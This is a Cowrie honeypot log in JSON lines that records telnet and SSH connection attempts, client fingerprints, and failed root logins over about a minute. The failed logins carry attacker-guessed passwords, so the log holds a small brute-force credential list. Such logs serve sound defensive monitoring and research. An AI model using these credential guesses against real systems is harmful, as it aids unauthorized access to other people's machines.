{"eventid":"cowrie.session.closed","duration":20.36328434944153,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:02.620469Z","src_ip":"152.42.224.71","session":"a9f9dc53a33b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39710,"dst_ip":"10.17.0.5","dst_port":23,"session":"657ecfa14f41","protocol":"telnet","message":"New connection: 152.42.224.71:39710 (10.17.0.5:23) [session: 657ecfa14f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:04.625243Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44910,"dst_ip":"10.17.0.5","dst_port":23,"session":"b326da9c2ef7","protocol":"telnet","message":"New connection: 152.42.224.71:44910 (10.17.0.5:23) [session: b326da9c2ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:08.380532Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44100,"dst_ip":"10.17.0.5","dst_port":23,"session":"b471917bd603","protocol":"telnet","message":"New connection: 152.42.224.71:44100 (10.17.0.5:23) [session: b471917bd603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:20.811562Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":40760,"dst_ip":"159.203.135.109","dst_port":22,"session":"d90253a77512","protocol":"ssh","message":"New connection: 191.96.110.121:40760 (159.203.135.109:22) [session: d90253a77512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:21.485889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:22.196981Z","src_ip":"191.96.110.121","session":"d90253a77512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:22.486450Z","src_ip":"191.96.110.121","session":"d90253a77512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":36494,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed30271192bd","protocol":"ssh","message":"New connection: 68.183.236.1:36494 (159.203.135.109:22) [session: ed30271192bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:22.689638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:22.695063Z","src_ip":"68.183.236.1","session":"ed30271192bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:22.954715Z","src_ip":"68.183.236.1","session":"ed30271192bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vilma","message":"login attempt [root/vilma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:23.999192Z","src_ip":"68.183.236.1","session":"ed30271192bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":40694,"dst_ip":"159.203.135.109","dst_port":22,"session":"4acda5689d6d","protocol":"ssh","message":"New connection: 72.52.132.30:40694 (159.203.135.109:22) [session: 4acda5689d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:24.219388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:24.223762Z","src_ip":"72.52.132.30","session":"4acda5689d6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:24.259435Z","src_ip":"72.52.132.30","session":"4acda5689d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"medical","message":"login attempt [root/medical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:24.304682Z","src_ip":"191.96.110.121","session":"d90253a77512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"charlie123","message":"login attempt [root/charlie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:24.414331Z","src_ip":"72.52.132.30","session":"4acda5689d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:25.263424Z","src_ip":"68.183.236.1","session":"ed30271192bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:25.448378Z","src_ip":"72.52.132.30","session":"4acda5689d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:25.690245Z","src_ip":"191.96.110.121","session":"d90253a77512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44502,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8568584c376","protocol":"telnet","message":"New connection: 152.42.224.71:44502 (10.17.0.5:23) [session: b8568584c376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:34.472268Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"75496f44eee4","protocol":"telnet","message":"New connection: 152.42.224.71:46422 (10.17.0.5:23) [session: 75496f44eee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:39.214092Z"}
{"eventid":"cowrie.session.closed","duration":36.32416081428528,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:40.949249Z","src_ip":"152.42.224.71","session":"657ecfa14f41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":54026,"dst_ip":"10.17.0.5","dst_port":22,"session":"94c402115d93","protocol":"ssh","message":"New connection: 38.93.206.2:54026 (10.17.0.5:22) [session: 94c402115d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:42.022255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:42.027096Z","src_ip":"38.93.206.2","session":"94c402115d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:42.083853Z","src_ip":"38.93.206.2","session":"94c402115d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"45454545","message":"login attempt [root/45454545] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:42.428543Z","src_ip":"38.93.206.2","session":"94c402115d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:43.482254Z","src_ip":"38.93.206.2","session":"94c402115d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55886,"dst_ip":"10.17.0.5","dst_port":23,"session":"f340a2399314","protocol":"telnet","message":"New connection: 152.42.224.71:55886 (10.17.0.5:23) [session: f340a2399314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:46.266569Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":49932,"dst_ip":"159.203.135.109","dst_port":22,"session":"e781d24f942f","protocol":"ssh","message":"New connection: 43.130.35.229:49932 (159.203.135.109:22) [session: e781d24f942f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:46.277232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:46.281359Z","src_ip":"43.130.35.229","session":"e781d24f942f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:46.349311Z","src_ip":"43.130.35.229","session":"e781d24f942f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica123","message":"login attempt [root/monica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:46.657039Z","src_ip":"43.130.35.229","session":"e781d24f942f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":33030,"dst_ip":"159.203.135.109","dst_port":22,"session":"0001c6c4aead","protocol":"ssh","message":"New connection: 37.143.61.241:33030 (159.203.135.109:22) [session: 0001c6c4aead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:47.280576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:47.285537Z","src_ip":"37.143.61.241","session":"0001c6c4aead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:47.371125Z","src_ip":"37.143.61.241","session":"0001c6c4aead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:47.728366Z","src_ip":"43.130.35.229","session":"e781d24f942f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miami13","message":"login attempt [root/miami13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:47.734241Z","src_ip":"37.143.61.241","session":"0001c6c4aead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:48.819355Z","src_ip":"37.143.61.241","session":"0001c6c4aead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55898,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0d218d6955c","protocol":"telnet","message":"New connection: 152.42.224.71:55898 (10.17.0.5:23) [session: b0d218d6955c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:49.270098Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55912,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41b9db9527e","protocol":"telnet","message":"New connection: 152.42.224.71:55912 (10.17.0.5:23) [session: d41b9db9527e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:49.615535Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":38618,"dst_ip":"159.203.135.109","dst_port":22,"session":"35360e38d6fb","protocol":"ssh","message":"New connection: 43.133.34.13:38618 (159.203.135.109:22) [session: 35360e38d6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:53.442662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:53.447329Z","src_ip":"43.133.34.13","session":"35360e38d6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:53.685528Z","src_ip":"43.133.34.13","session":"35360e38d6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.73443961143494,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:54.114851Z","src_ip":"152.42.224.71","session":"b326da9c2ef7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW2","message":"login attempt [root/1QAZXSW2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:54.669779Z","src_ip":"43.133.34.13","session":"35360e38d6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55916,"dst_ip":"10.17.0.5","dst_port":23,"session":"657c5ce4c32c","protocol":"telnet","message":"New connection: 152.42.224.71:55916 (10.17.0.5:23) [session: 657c5ce4c32c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:54.685616Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:55.918928Z","src_ip":"43.133.34.13","session":"35360e38d6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":40876,"dst_ip":"159.203.135.109","dst_port":22,"session":"00dc051847c7","protocol":"ssh","message":"New connection: 103.183.114.55:40876 (159.203.135.109:22) [session: 00dc051847c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:56.553602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:56.558745Z","src_ip":"103.183.114.55","session":"00dc051847c7","protocol":"ssh"}
